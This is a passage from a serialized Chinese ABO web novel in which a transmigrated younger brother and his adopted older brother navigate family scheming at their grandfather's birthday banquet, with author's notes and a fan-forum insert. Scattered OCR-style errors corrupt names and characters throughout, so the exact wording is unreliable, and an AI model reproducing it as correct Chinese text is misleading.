听说亦舟现在在办公司啊,虽然年轻,但也是有模有样的啊。你说你,也不和家里通个气,不然我池能找人去帮帮你“裴城浦的气像是老人对小辈的埋怨,难掩亲昵,似乎真对这个多年未见的孙子有多关怀书房顶灯是层疊的水晶,光亮落下来围成了一圈,跟笼子似的。裴亦舟答:“小打小闹而已,不至于让爷爷来帮忙。” 裴宁知道裴城甫没安心思,故而跟着说:“对啊,爸爸也说让哥哥自己试试就好,哪还用别人来麻烦。”听见他这话说得不客气,涂静嘴角的笑意稍顿:“瞧瞧你这孩子,说的是哪里话,我们可是一家人啊,怎么是别人。”闻言,裴城甫眉目间又流出伤感:“亦舟,这么些年过去,我总觉得对不住你。你爸妈走得早,你一个人不容易,现在你大了,要是爷爷能在这些地方帮帮你,也算了却一桩心愿。” “你三叔不如你争气,比起你差得多,我也和他说过,以后有机会你们要多接触,一家人本来也不该这样生疏。”他颔首,侧目扫了眼裴从。裴从I闻言脊背一凛,着急忙慌附和道:“是啊亦舟,以后我们多联系,生意上生活上都好说啊。反正大家都在宁江,抬头不见低头的。”涂静虽心有不满,但还是说:“你们俩其实也算半个同龄人,总是有话说的。从川不懂事,以后还要多多向你学习呢。”裴宁被这几个人恶心的不轻。装模作样虚情假意不说,还说裴从川不懂事? 都二十大几的人了,要是还不懂事,那这辈子估计来不及了。 他谨记裴松墨说过的话,绝不委屈自己,当即甩了脸:“之前几年也没见得你们来问候,今天倒是说得好听。我哥忙死了,连陪我的时间都不够,三叔,你还要他抽出空来陪你?”你算明根葱裴宁厉声反问,将自己身上为数不多的蛮横发挥到极点。裴从川没想到裴宁再度发难,一时之间愣了神。 他还想说什么,却见裴宁又马不停蹄地拽住裴亦舟,满腔不乐意:“哥,叁叔者那么大个人了,总不用小辈去费心F料 吧?”他抓着裴亦舟袖管的手指紧绷,这事裴宁还是第 次干,业务不甚熟练,怪紧张的闻言,裴从川脸色又青了。他倒是想反驳,但一下气急,无从开口。 见状裴宁心里舒服不少。 裴亦舟感受着小臂上传来的温度,压下嘴角,抱歉地说:“叁叔你们见谅,小宁脾气就是这样,回头我 定管管他。”一来一回,贯彻红脸白脸策略,裴亦舟也拿过接力棒。“哥!”裴宁不乐意,斜睨了裴从I一眼,“我就纳闷了,我以前见都没见过他,怎么现在一张嘴就要和你多相处。”“你的时间精力都分给他,那我怎么办!”裴宁这话越说是越收不了尾了,噼里啪啦一通下去,实在不走寻常路,竟然还让人听出两分醋味。气氛有些许僵持,裴城甫似乎还在伤感,并未开口,涂静则面色不佳,连那点微笑都欲掉未掉。这下裴从川只能赔着笑说:“唉呀小……不是,裴宁啊,三叔不是这个意思,你不要误会了。我没有和你抢哥哥啊。”他难道疯了吗才要去抢裴亦舟?压根就不是那么回事!但裴宁可不领情,脸拉老长,鼻孔看人哼了声,蛮不讲理转身就走。 这下裴从川真是傻了。 他见过脾气不好的小辈,但没见过脾气不好还这么光明正大理直气壮的小辈——开了眼了。 木门重重碰上,沉默灌满书房。 裴亦舟面露难色:“我去找一下小宁吧,他从小家里都就宠着……你们见谅。” 裴从川额角狂抽,他实在是不想再听见“见谅”这俩字了。 说完,裴亦舟也转身出了门。 见孙子消失在视野里,裴城甫的拇指不疾不徐地抚过手杖顶端的琥珀,他眯眼冲着涂静道:“你觉得那个裴宁怎么样?” 裴从川抢先一步,不假思索:“顽劣不堪,没有一点教养。” 涂静不言,若有所思。 裴城甫对此不予置评,他转过身,对上窗外通明辉煌的灯火:“哦?那你觉得裴亦舟怎么样。” 听见这话,裴从川内心打起鼓。他现在可将这个颇有能力的侄子视作第一竞争对手,老头这么问他……难道是有了别的心思? “瞧着就是个omega,软弱,没有主见,完全被他那个弟弟牵着鼻子走,”裴从按捺着语气,“这样的人可承不了裴家的家业。” 裴城甫失笑,全然看穿了他心中所想,“你在担心什么?” “没有,爸你说的哪里话。”裴从I笑得生硬。 末了,裴城甫也不愿与他多言,只说:“来日方长,且行且看吧。” 话音刚落,他又问涂静:“裴江怎么还不来,今天他要是不到场,其他客人该怎么想我们裴家?” 裴城甫的大儿子裴明渡与二儿子裴江一母同胞,但他们的母亲家世不显,早年就因病去世。 而裴川I如今起来虽然风光,早先却是个私生子。他亲涂静比裴城甫硬生生小了十多岁,隐忍多年終于成功拿到了裴城甫妻子的名头.她有手腕有心机,连帶着拽了一把自己的家族,让他们勉強踏进了上流社会的门槛,诸如此类的传闻不是秘密,裴家家宅不宁更是宁江上流圈子里一直以来公认的事实。然而裴家人却不愿认下这个名头,每逢大场合,不论如何也要粉饰-二。 涂静咽下一口气:“你放心,我让从川说过了。” “二哥刚才还给我发消息,说是在路上。”裴从这会儿还愿意叫声“二哥”,也算是在亲爹面前不吝表演。 “嗯,”裴城甫沉声应下,“你出去准备吧,以后遇见裴宁那孩子客气些,不要与他起冲突。裴亦舟再怎么说也是我们裴家本家的子孙,到最后和谁更亲近,那还不好说。”“他那公司你也看紧点,蚊子再小也是肉,现在的裴家……要抓住一切机会往上爬。” 出书房后裴亦舟拒绝侍者的指引直接下了楼,不出他所料,他刚过转角离开佣人的视线,没走两步就被等在一旁的裴宁扑了个满怀。 “刚才我表现的怎么样?”裴宁搂着裴亦舟的腰,眼里亮晶晶,像是在邀功,“我那是动了真感情的,是不是很蛮横很不讲理!” 裴亦舟低声笑着,顺势抱着裴宁往后退了几步:“特别好,一点表演痕迹都没有,我是说真的。” “真的啊,”裴宁手心出汗,“其实我心里可慌,但他们说话也太讨厌了,我实在懒得听。” “就这么不喜欢?”裴亦舟挑眉。 “当然,”裴宁拉着他先走远了些,见周围彻底没了人才开口说,“裴城甫还兑找人去公司帮你呢,分明就是看上你的公司了,我早听爸爸说过,裴家这些年-直在走下坡路。司马昭之心路人皆知,他以为别人都是傻子啊。”“哦对,那个裴从川可能还真是傻子。我看我以前幼儿园那些同学都比他灵光。” 难得从裴宁嘴里听到这么多刻薄的话,裴亦舟却心跳的厉害,只觉得那张嘴跟淬了蜜似的:“小宁懂得真多,什么时候关注起这些的?” 裴宁一顿,含糊着说:“暑假那会儿感兴趣,让爸爸给我全说了一遍。总之裴家这头没什么好东西……或许二叔除外?” 他嘟哝着:“话说回来了,今天怎么没看见他的人啊。” 这话刚出,裴亦舟嘴角就微不可察地拧了下:“……不太清楚。” “我突然想起个事,你和二叔关系好这事……其他人是不是不知道?”这话裴宁是凑到裴亦舟耳边悄悄问。 他踮脚探身,呼出的热气尽数扑在裴亦舟耳廓上,溅开一阵热意。 这个位置太近,也太敏感。 但撇开那些浮动的念头,裴宁猜测的也很准确。 “小宁怎么看出来的?”裴亦舟和他并肩走入花园的小径。 裴宁列出了一堆证据,譬如他们俩那简短的备注,再譬如那不对外营业的会所,和深夜在门口佇立的保镖。他又不傻,这些东西串在一块儿,稍加思考就能想明白了。 他说完看向哥哥,从裴亦舟那得到了肯定的点头。 自从发现现实中有些事情和《绝对占有》的原著有所出入,裴宁就留了个心眼,有事没事想想自己究竟还有什么漏掉的事情。 结合现实来看,原书里裴亦舟复仇时,裴江肯定也没少出力。 尽管那些黑化报复的文段让人看着很爽,但裴宁可不希望哥哥变成一个满心满眼只有复仇的机器,更不希望那段“水泥封楼”的剧情重演 这界上美好的事情数不胜数,他哥哥又是这样优秀完美的人,没必要把生命都浪在那些渣身上 这片靠近主楼的花园不大,穿过小径就回到了方才的宴会厅。 裴宁踏出最后一步,抬眼时恰好与不远处的人对上了视线。来人靠在墙边,似乎刚接完电话。他偏头看过来,眼底压着细碎的光。裴宁警觉让开 步,那个男人却主动走上前,大方开口:“你好。” ?这人怎么莫名其妙打起招呼来。 男人嘴角噙着笑,还想再说什么,但远处传来的大喊声却将他没头没尾的措辞生硬掐断。 不知到底是保安还是侍者,那从远处悠悠传来的喊声几乎劈叉:“不好了!快去告诉三少爷!”“二少爷他开着拖拉机进门了!!” 作者有话说 ?显示所有文的作话 感谢小天使们的1个霸王票、18瓶营养液~ 裴宁疑惑:拖拉机?二叔?裴亦舟嘴角一抽,心道裴江这人果然…… 感谢大家的灌溉和评论,每天每条都有看见,心里暖暖的,小腹一股无名火(这个划掉)请多多支持小宁和一周[鞠躬],富有营养的液体会触发被动技能【加更】(超小声) 27、男朋友?【加更】 拖拉机?二少? 那不就是裴江吗! 裴宁怔愣着回头看裴亦舟:“哥我没听错吧,他们应该说的是拖拉机吧?” “…”,裴亦舟绷了一下脸,“应该是的。” 这下好了,“你好”哥将要伸出的手悬在半空,裴宁的注意力却被悉数转移。似乎是终于意识到眼下的情况不太适合打招呼,“你好”哥收回了手。 裴宁对此乐见其成,他本就不想理会这个突如其来的陌生人,索性直接拽着裴亦舟离开了花园。呼喊声是从前厅传过来的,裴宁之前跟着侍者走了一遍,现在已经把路差不多摸清,甚至没打拐就准确抵达了目的地。而等他们绕到前厅,那里已经彻底乱成了一锅粥。 只见保安如临大敌地站成了一排而人群之中,一辆外头喷了红漆的拖拉机压着红毯直直开到了大厅前,那大得令人咋舌的轮胎甚至有一半已经滚了进来。过前厅不是接待客人的地方,人流不算密集,因而没人受伤,只不过那精心准备的摆在道路两旁的鲜花全被碾了个稀巴烂。裴宁惊讶地张大嘴,一抬头,看见火红拖拉机的驾驶室里坐着个人。 裴江顶着头新染的高饱和绿发,黑色皮夹克上还别着一幅夸张的墨镜,他潇洒不羁地按下喇叭,拖拉机登时发出响亮的一声“嘀—!”,在场所有人都惊呆了。“我的天,”出于对裴家本家的厌恶,此时裴宁对裴江这位二叔满心满眼只剩溢美之词,“他好厉害啊。” 裴亦舟挑眉,没想到裴江这样的作为竟然能从裴宁那收获这样的赞美。他心念稍动,竟也有些心痒,但转而又觉得自己方才的想法太蠢,偏头掩起笑意。拖拉机响个不停,裴宁在嘈杂的噪音里说悄悄话都不用控制音量:“二叔这样没事吗?” “等会儿就来人了,我们看着就行。”裴亦舟说。 今天牛竞是装城甫的寿宴,安保工作还是做得很到位的.如装办舟所言,不过短短十几秒钟,前厅连接主宴会厅的玻璃门就被锰地推开,几个身着黑西装的alpha大步走来,像是保镖,而为首的是一个梳着高马尾的女人 她面无表情,低头冲着对讲机说:“三少,确定了,开进来的就是二少。”对讲机那头的人似乎已经气得说不出话,女人闻言不解皱眉:“三少,您说的我听不清。”裴从I好不容易压下心头怒火捋直舌头,开口道:“让他把他那破车开出去,然后赶紧滚到里面来,爸要见他!”对讲机质量不错,裴从川声音响亮,裴宁听得还挺清楚。闻言,女alpha走到拖拉机边上,仰头一板一眼:“二少,三少让你把破车开走,然后滚进去。” 这话错也没错,但放这却不大合时宜,怪滑稽的。 对讲机的“滋啦”声停了——显然是裴从川忍无可忍掐断的。 “哇塞,她也好帅!”裴宁看乐子看得上头,笑得停不下来,肚子都痛得发颤。 闻声聚集过来的人越发多,裴亦舟揽着他往后退了一点,低头说:“她就是越思易的姐姐,越冬。” “原来就是她啊,”裴宁恍然大悟,“那回头我得找个机会和她单独见一面,剩下的就让戚栩帮我。只要能让她安稳离开宁江,给越思易的承诺就算是达成了。” 戚裴两家涉及的方向不同,在这件事上,戚栩或许更使得上力。 “嗯,”裴亦舟忽然直起身,“让他帮你吧。” 戚栩,粘人话多的alpha,越思易,橡皮糖一样甩不掉的焦面包omega,每一个都叫他不快。 裴宁还以为裴亦舟是在担心:“哥哥你别担心,这件事我一定会处理好的,裴从害得你发情期提前,可不能就这么算了。”两人频道没对上,打翻了醋缸子的那位憋着劲忍耐,保护欲爆棚的那位注意力又被红色拖拉机带走,直到装江不紧不慢晃着脑袋从拖拉机上面跳下来才堪堪收回视线。 那一头荧光绿的头发实在扎眼,裴宁忍不住问:“二叔一直这么能气人么?” 一油门蹬开了自家父亲精心准备的寿宴大门,不管不顾地发疯,毫无保留地为来宾创造笑料,简直就差把“裴家家宅不宁”这几个大字纹在脸上了。 “差不多,”裴亦舟拉了下裴宁的手,“我刚来宁江那段时间他帮了我不少,那会儿就是这个性子了。” 裴从I1和他父亲 样看不上omega,但又不想落人口实,偶尔也会做些表面功夫。但装江可不想忍,该发疯发疯,精神状态领先众人,不论如何,先让自己爽到了再说。裴亦舟这话一出裴宁又顾不上其他了,只觉得心疼。 他还记得当时哥哥决定回宁江读大学,自己受不了,于是闷在被子里哭了一整晚,到第二天眼睛直接快肿成了校桃仁。他生气,但又不知道往哪发泄,房门一关谁也不想见,饭也不乐意吃。 到后来还是裴亦舟敲开了门,拉开被子抱住他,问:“小宁是不是不想哥哥走。” 大概是哭的久了,裴宁鼻音很重,瓮声瓮气:“嗯。你能不能不要去那么远的地方,以后我回家都见不到你了……你是不是不要我了?”“不是。不会不要你。不论如何,我绝对不会丢下小宁,我保证。”裴亦舟抱他的胳膊收紧了一些。 “那为什么一定要走,留在枫京不好吗,”裴宁过分地把眼泪悉数抹在了裴亦舟的衣服上,“你就是不要我了!不然为什么要去那里读书!”裴亦舟靠得近,冰凉的眼镜框碰到了裴宁的脖子,冷的他一哆嗦。裴宁更委屈了,索性伸手摘掉了裴亦舟的眼镜:“我不还你了,你看不清楚,哪也不许去!” 他像护食一样将那副眼镜藏好,视线却死死定在裴亦舟身上,生怕他下一秒就从自己面前忽然消失。 他的哥哥是从天而降出现的。 那离开呢?会不会也很突然? 裴办舟没反抗,也没说不好,只足一下下轻经地拍抚着装宁的背:“宁江 是我以前的家,我在那边生活了+五年,离开的时候大匆忙,还有很多事没有做完。所以小宁,我 定要回去,你可以原凉哥哥吗?”裴宁眨眼,手里的眼镜被焙热,心也已经软了半截。见他不说话,裴亦舟又直起身,和裴宁面对面。 他温柔地笑着,说出的话却伤感:“小宁,我也很久没有见过妈妈了。” 裴宁登时脊背一僵。 装六舟自从十五岁来到枫京就两世没口过宁江,装宁知道他的母亲因为意外逝世,葬在那座百生的城市,也知道他从来只称呼装松墨和宋月黎为“装叔叔”味阿姨”,但这么白地听装亦舟提起自己母亲,还是头次 羞愧,难受,深感自己这会儿是胡搅蛮缠蛮不讲理的,裴宁心脏像是在被灼烧一样难受。他怎么这么不懂事?哥哥要去哪那是他的自由,自己究竟只是他半道而来的弟弟,又有什么权利去横加干涉。裴宁鼻腔发酸,低下头道歉。但裴亦舟没说别的,只是像方才那般同他保证。 “我绝对不会丢下你。” 而后来那几年,裴亦舟也确实做到了他的承诺。他努力平衡着自己的生活,在两座城市之上来回穿梭,每当裴宁需要他,他总会出现。篮球比赛,毕业典礼,钢琴比赛,高考,高中三年的每一次生日……裴宁清楚记得,裴亦舟每一次都在。柔软,细腻,体贴,种种词汇构成裴宁对裴亦舟的所有认知。盯着裴亦舟的背影,他时常也会幻想:他能不能永远属于我,能不能永远陪着我? 思绪回笼,裴宁下意识攥紧了裴亦舟牵他的手。 前厅的闹剧暂时告 段落,破烂一地的鲜花残酸被收拾干净,但那辆红色的拖拉机仍停在原地。保镖问装江要钥匙,裴江非说自己弄丢了,他头一扭进了门,谁也没抓住这滑不溜手的一少爷。裴江毕竟是裴城甫的儿子,名义上的二少爷,也没人会拿他怎样。保镖只好嘘声叹气地拨了拖车电话,寄希望于他们能快点把这辆碍眼的玩意带走。等裴宁回到宴会厅的时候,“拖拉机”这消息就跟长了脚似的,传的哪哪都是,谁都知道了。“这下他们的面子都被丢完了哈哈哈,我一想到等下他们得憋着臭脸保持微笑就觉得好笑。”裴宁落座,和裴亦舟挨得很近。 裴亦舟:“希望爷爷不要气坏了身体。” 哥哥还是太善良,裴宁感慨。 他在桌底下悄悄捏着裴亦舟的手指玩,从小拇指到无名指轮番交替,再伸出自己的手比大小,不亦乐乎。 而后宴会照常开始,觥筹交错,人声阵阵。 但裴宁明显能发觉裴从川的面色比起在书房里头更糟糕了。反观裴城甫和涂静,到底是老姜,辣的很,面上看不出一点端倪。裴江则不以为意地站在他们仁旁边应酬,一头绿毛比灯泡还亮,看得来宾都忍不住嘴角抽抽。席间,裴宁还看见了邱渐,对方显然也看见并认出了自己,他一愣,旋即向裴宁远远举杯——那是一种示好的姿态。既然邱方明已经付出了应有的代价,那裴宁也不会一直计较,他也举杯,刚想喝一口,就被裴亦舟伸手盖住了杯口。“医生说过,你不能喝酒。”裴亦舟提醒道。裴宁一愣,想起了这事。这还是当初他被裴亦舟在医院抓包那一次听来的医嘱,没想到裴亦舟到现在还记得。 虽然裴宁酒量不佳,但还挺喜欢喝酒的。他这会儿有点馋味儿,但碍于裴亦舟在旁边盯着,只好乖乖放下了酒杯。 “乖。”裴亦舟捏了下裴宁的后颈,很顺手。 “哥!你这样跟捏小孩似的。”裴宁后脖子发热。裴亦舟失笑:“多大都是小孩,怎么了,不能捏?” "没,没有,"可刚才被捏的不是脖子么,怎么他心里头也跟着发热,裴宁转过脸,“你捏吧,随便捏。”裴亦舟眸色微沉,到底是还没有分化,裴宁根本不明白腺体这个位置对于alpha来说有多么敏感。随便捏腺体,那和……又有什么区别? 宴会厅里一派火热,数不清的人上前恭贺裴城甫七十大寿,裴城甫笑意满面,涂静也端庄,笑得春风得意。裴宁懒得去,想到涂静的身份更是膈应的慌,但为了面子上过得去,裴亦舟不能缺席。 这头裴亦舟刚走,裴宁就看见宴会厅侧门的保镖开始换班,以越冬为首的一众人与交接者说了几句话就踏步离开。这不就是机会吗!裴宁瞅准时机离席,还不忘给裴亦舟发了条消息,以免他找不到自己要担心: 【古德猫宁:我稍微出去一下,很快就回来!(ps:是找越冬,没别人,哥哥你放心)】避开应酬交杯的人群,裴宁十分低调地从侧门绕了出去,一眼就锁定了最前头的越冬。他咳嗽两声,越冬回头瞥见他,停顿几秒后停下了脚步,让身边的人先行离开。大概是越思易提前打过招呼,越冬看起来不太意外,她说:“这里不方便,麻烦移步。”裴宁欣然应允。 终于,找了个没有人也没有摄像头的角落,越冬平视着他问:“你就是思易的同学?” “是我。”裴宁点点头,“越思易应该和你提过我要来找你吧?”“嗯,”越冬跟机器人一样,一个字一个往外蹦,“但没说原因。” 她长相锋利,单看面容和高挑的身段就知道是个alpha。 裴宁早有准备,直接拿出手机。那天他和越思易说话时录了音,这会儿都不用费劲解释,直接给越冬放了一遍。 听见自家弟弟哽咽恳求的声音,越冬眉心拧了一下。 “这些不用他担心,我存够了钱,他可以出国读书读到博士,所以我坐牢也没关系的。”越冬似乎是不解,“他是不是做错事了,我代他向你道歉。” 裴宁扶额,心说这姐弟真是没半点相似。 一个软趴趴的任人揉捏,一个则硬邦邦的,像是风干法棍,咬下去都兼咯牙。 你要是坐牢了,别说出国读博,越思易能不能安心把本科读完都不一定,”裴宁叹气,“再说了,你想想,你部帮装从I做过那么多 活累活了,万一他怀疑越思易也知道-二,要对他下手呢?到时候准来保护他?”越冬的眉心拧得更紧。 良久,越冬看向裴宁:“他信任你,对吗?” 没等裴宁回答,她又说:“你想要我怎么做?” “你这么快就做好决定了?”裴宁讶然。 越冬看了眼他的手机,似乎是在透过那条录音看许久未见的弟弟:“我来这只是为了赚钱,让他开心,好好读书。要是这些没有办法达成的话,我会离开。”“只要他开心快乐,我可以做任何事。” 裴宁说完安排,给越冬留下了自己的联系方式。 虽然越冬有些人机,但裴宁和她沟通起来却十分顺畅,没有赘余,简洁明了。离席有些久,裴宁低头看了眼时间,准备回去。而这时,远处的落着枯枝的小路上传来了脚步声,由远及近,像是奔着他们所在的位置而来。 浅淡的花香靠近,越冬吸了吸鼻子,不太舒服地皱起眉:“裴宁,你男朋友找过来了。” 耳作者有话说 ?显示所有文的作话 感谢小天使们的6瓶营养液~ 五百营养液啦,这章是加更~ 晚上九点照常更新,么么啾 [论坛体续集·1] 【37L(楼主):楼主惊了,楼主就上了几天课,这个楼怎么悄悄起来了?】【38L:人对好看的脸有天然的向往,楼主你懂的,我也懂的】 【40L:你们别跑题,所以为什么磕他俩,人不是真兄弟么?是不是有点冒昧了】【41L:楼上,你可曾见过好兄弟手拉手,好兄弟走路肩碰肩,好兄弟说话头挨那么近?如果你见过,恭喜你,你磕到伟大的骨科了…】 【43L:支持411,此处有图有真相[图片][图片],我姐妹冒生命危险偷拍的,你看看裴学长看他弟那个眼神,这对吗?】 【45L:可某生物系超帅新生听说还没分化啊……】 【47L(楼主):这重要吗?重要的他们真的很好磕.…楼主也是医学院的,每天面对密密麻麻的课程,两眼一睁就想归西,此二男乃楼主唯一精神食粮是也.……. 【48L:楼主吃的真好,分我一口(摊手)】 【52L:楼主分我一口(摊手)】 [60L(楼主):我靠我靠,楼主刚刚下晚课,准备走大门出去买夜宵,结果看见某学长开迈巴赫来接弟弟(咬手编)(合泪),简直足极致宠溺,楼主的产品果然好吃,但是 我和你们有钱人拼了!!1 28.听凭安排 什么?裴宁以为是自己的耳朵出了什么问题。 男朋友,这仁字对他而言实在太过生疏。 再者,裴宁母胎solo,哪来的男朋友?更何况这个信息素的气味不是哥哥吗?裴宁转身,果不其然,从远处走来的人正是裴亦舟。 这个误会有点大了。他像是急于解释什么,当即对越冬说:“你是不是误会了,他是我哥啊,不是我男朋友。”越冬疑惑眨眼:“这样吗,我之前看你们牵着手,还以为是情侣。”牵手……什么时候牵的来着?裴宁脑子里刚滑过那辆红色的拖拉机,裴亦舟就走到他身边。 “小宁,说完了吗?”裴亦舟抚平他衣领的褶皱,“不要离席太久,交代完我们就回去吧。” 裴亦舟的指节蹭过他下巴,裴宁一个激灵,大脑都放空了,“哦哦好。” 见有人来了,越冬也不多留,事情都已经交代完毕,她冲着裴亦舟微微頷首,也没再解释刚才的误会,利落抬步消失在转角尽头。 方才哥哥站得那么远,越冬说的话他应该没有听到吧?顾不上别的,裴宁现在满心满眼都是这个问题。 哥你怎么找过来的,我不是给你发消息了么。”裴宁挨着裴亦舟走,像是爱撵着主人寸步不离的小动物,他手心癢,有点想去牵裴亦舟的手,但又顾忌着刚才越冬石破天惊那声“男朋友”,总觉着别扭。 裴亦舟笑笑:“如果我说你身上有我的信息素,所以我能找到你,你信吗?” “信啊,为什么不信,”裴宁的指尖犹犹豫豫,嘴皮子倒是快,“难不成你还能在我身上装定位器不成?” “当然不会。” 毕竟会这么干的坏蛋另有其人。而坏蛋本人到现在都还一声不吭。 裴宁似乎也想起了自己的所作所为,他不动声色地瞄了一眼裴亦舟的袖口,又飞快地移开了视线。平时他总喜欢秘着拽着拉着哥哥的手,或是袖子,这会儿手里头空荡荡的,他还不习惯也不是非要小情侣才能牵手吧,他跟他哥以前也不讲究啊。裴宁人还跟在裴亦舟后头,思绪早就跑出了三里地。裴亦舟没问他具体和越冬商量了什么,只是不经意开口道:“刚才我听见你们说什么男朋友'',我应该没听错吧?” “!!”裴宁没想到裴亦舟耳朵这么尖。 “怎么聊到这话题上去了?” 裴宁不好意思,他小声说:“刚才是她大概误会我们的关系了。” “怎么个误会法?” “她以为我们俩是一对。”说这话的人耳朵尖红红的。“哦?”裴亦舟饶有兴致,“为什么?” 裴宁摸了把微热的耳朵:“因为之前围观那辆拖拉机的时候我们牵着手,她看见了.……估计这才搞错的。”裴亦舟眼底铺满了化开的笑意,快要流不动:“所以刚才你要牵不牵的,是在纠结呢。”裴宁炸毛:“没有!我就是怕人误会而已。” 话网落他又接着说“所以,这样是不是有点不大好间,上次玩大冒险亲的险翊事也是,我看别人都很震惊 好像不大的受的样子 以前也没人和我说过,”裴宁以前MG这么觉得,现在却后知后觉有些生怯,他说到后头话音下去,变成小声的嘀咕, “为什么不好,”裴亦舟放慢脚步,长臂 伸直接牵起裴宁的手,“误会了也没事,你想做什么都可以。没人能来说教你,别人怎么看那是别人的事,我们不管。” “真的?”回归到舒服的位置,裴宁没忍住捏捏裴亦舟的手。 裴亦舟也回击过去,陪他幼稚:“真的。反正在我这不用有顾忌,想做什么都可以。”他的手掌比裴宁略宽大些,虎口抵着裴宁的指骨,随着走路的晃动一碰一离。听见这话,裴宁心里还挺美。明晃晃的信号都摆外边了,他哥本人都不介意,那自己牵着又怎么了?等他们回到大厅,宴席已然过半。要紧的环节已经过去,陆陆续续开始有人退场。 裴宁看着来来往往的人眼睛都发酸,反正要做的事也都已完成,他和裴亦舟对视一眼,满眼都是“我也想走了”“我们开溜吧”“这地方真无聊透顶TVT”。他无聊的时候会不自觉吸气,然后把脸鼓起来。好可爱。 裴亦舟失笑:“我去说一声就走。” 裴宁用力点了两下头,眼睛都亮了。裴亦舟起身走开几步,而这时手机提示音突然响起来。 他打开,满屏都是裴江发来的消息。 【U:大侄子,我没看见的角落你又干什么大事去了?】 U:你知不知道你那个信息素检测仪一直在叫,你最好自己看看那个图,那频率波动的,不知道的还以为你怎么了,跟海啸似的。】【U:[图片]】 U:另,我温馨提示,人裴宁还小,你别瞎整。】裴亦舟看了眼那图片,确实,波动不小,瞧着十分唬人。 至于时间,不用细看他也知道是什么时候——他没想到自己的承受阈值那么低,单是从裴宁口中听到一段被误会的关系就可以引起信息素波动。 刚才就应该再扣紧一点的。 裴亦舟垂眸,给裴江回了个消息。消息发出,他抬头,正好对上了应酬完一圈回来的裴从I。现在外界都当他是裴家接下来的继承人,自然都好声好气地说话,捧着。裴从川红光满面,显然也是得意的。“三叔,我们还有些事,就先走了。”裴亦舟在人前一向礼貌恭谨,斯文得体,一看就是大家族里规训出来的omega。 裴M闻言快速瞥了眼裴亦舟身后,没瞧见裴宁,他松了口气,故作不舍地挽留:“这么早就要走了啊,刚才你爷爷还说让你们留 留,以前你 得急,好多你父亲的遗物还放在家里,就在从前的房间,都没人动过呢。”裴亦舟像是被说到了伤心事,默然片刻:…那我母亲的呢?” “啊,大嫂的啊,当然和大哥的东西放在一起啊。”他笑得不太自然。鬼知道那些东西在哪,刚才说的不过是托词,人都死了,谁还会去管?“这样么,这些年麻烦你们了,”裴亦舟眉目依旧和顺,“但今天时间不早,我们就不多逗留了,下次得空的话,我会来看看的。”裴从川自然是不希望他多留,天知道他有多担心裴城甫提起他那个早早病逝的大哥,连带着裴亦舟他也不想多提,生怕老家伙好不容易定下的心再偏移。 而这么久以来,他非要捏着鼻子和裴亦舟拉近距离,一是因为裴城甫的要求,二则是一则传闻。 传闻当年裴明渡,也就是裴家大少爷病逝之前,把自己手底下的财产悉数转给了裴亦舟,不仅如此,他还将一份记录了裴氏命脉的文件交付给了裴亦舟。这事当时被裴城甫一力压了下来,知道的人不算多,裴从川就是其中一个。 裴明渡比他年长,比他更聪明也更强势。 他这个天资卓越的大哥打小就惹眼,大学还没毕业就进了公司,一步步从基层爬到管理层,拥有自己的势力和股份,有段时间甚至 度能和自己亲爹打擂台。他站在那样的位置,能接触到裴氏的机密也不例外。 但裴从至今对这个所谓的机密 无所知,裴城甫虽然将他视为继承人,却从不提起。裴从这哪里能忍,只好调转方向,从更软的柿子下手—那就是裴亦舟。 只可惜板京路途遥远,他手段有限,够不过去。可几年之前裴亦舟竟然回来了,这可让裴從乐坏了。他当即着手打探,但这人却跟个蚌似的,怎么也撬不开,越是靠近咬得越紧,裴从无法,只好暂时将这个事情搁置。那可是个让人眼红垂涎地香饽饽,不论真假,知晓这个消息的没人会轻易放弃。 今日一见,他原本歇下的心思又再度活跃。既然这是个秘密,而他又得不到,那……索性就让别人去试试吧,而他则在背后等着,坐收渔翁之利。 离席时正赶上人流,宅院门口的豪车堵成了长龙。 裴宁觉得车里闷,百无聊赖降下了一点车窗,可谁知这一降,却正好对上了燕呈嘉笑嘻嘻的脸—那张脸上布满终于解放的喜悦。“嘿裴宁,我就知道你在里面。”对面车窗里头的燕呈嘉双眼放光。他这做派真是一点不像豪门的二代,没半分架子不说,喜怒哀乐和各种心思还直接摆在脸上。裴宁拄着下巴纳闷:“明天你不是有早打卡和早八么,这么开心做什么?”“你这个人说话好伤人喔,”燕呈嘉登时萎靡,“能不能说点开心的,譬如要开运动会了什么的。” 裴宁哑然,心说你是小学生吗,都多大了竟然还期待开运动会。 当然,大学的运动会对大部分学生而言和运动一点不沾边,反而成了一次小长假。裴宁记得燕呈嘉早在寝室里说过要出去旅游,但他自己却没什么打算。他是个爱玩的性子,遇上这样的机会倒也想约人出去,只可惜地点未定,计划全无,想约的人更是忙得脚不沾地,学校公司两地连轴转。想和哥哥出去玩……这个念头在脑海里盘旋,叫嚣声愈来愈大。 天色黑沉,夜空不知何时落起小雨。燕呈嘉似乎还说了什么,但裴宁没来得及回话,只看见面前的车窗徐徐上升。“下雨了,坐过来点,”裴亦舟松开车窗按键,冲他招招手,“别对着风吹,当心感冒。”裴宁闻言十分听话地靠了过去,和裴亦舟膝盖抵着膝盖。 二人之间的距离被骤然缩短,裴亦舟抽出纸巾,将裴宁发梢未端那点微不可察地水珠擦去。 门口的路不算太宽敞,再加上那辆红色的拖拉机和来拖拖拉机的拖车还停在不远处,路况这下就更糟糕。侍者在雨中艰难送客,头发全被雨水糊在一块儿,十分狼狈。裴宁思索着出去玩的事,再回头,身边的车已从燕呈嘉小叔的库里南变成了一辆陌生宾利,而那扇车窗同样在雨中袒露。这还挺稀奇,裴宁多看一眼,旋即惊奇地发现车里那个人居然就是花园里主动打招呼的alpha。裴宁好奇心顿起,给燕呈嘉发去消息。 【古德猫宁:dd,后面那辆宾利里的人你认识吗?】 燕呈嘉回得很快。 【Yanc:认识,怎么了?】 【古德猫宁:他是谁啊,我来宁江没多久,这的人都对不上号。】 【Yanc:他是祁家的,叫祁漠。之前一直在国外留学,前不久才回国。我和他不大熟,你认识?】燕呈嘉后面又补充了几句,但裴宁的目光却死死钉在了“祁漠”两个字上。 居然就是他。 如果说邱方明是前期的狗皮育药,段位不高,那这个叫祁漠的alpha,则是接下来裴亦舟公司上升期里最难缠的角色。他有脑子,也有手段,背后还有家族。他为人狠辣,为达目的不择手段,在原书中蹦噠了很久,直到结尾才被黑化的裴亦舟清算。 裴宁一直记着这么号人,也曾着手查过他的信息,但祁漠的个人信息被保护的很好,除了几张不甚清晰的照片,其他裴宁 概不知,因此之前初见时才没有将人认出来。那这人为什么突然要来找自己问好?裴宁努力翻阅着记忆,发觉自己确实应该没见过他。 真是奇怪。 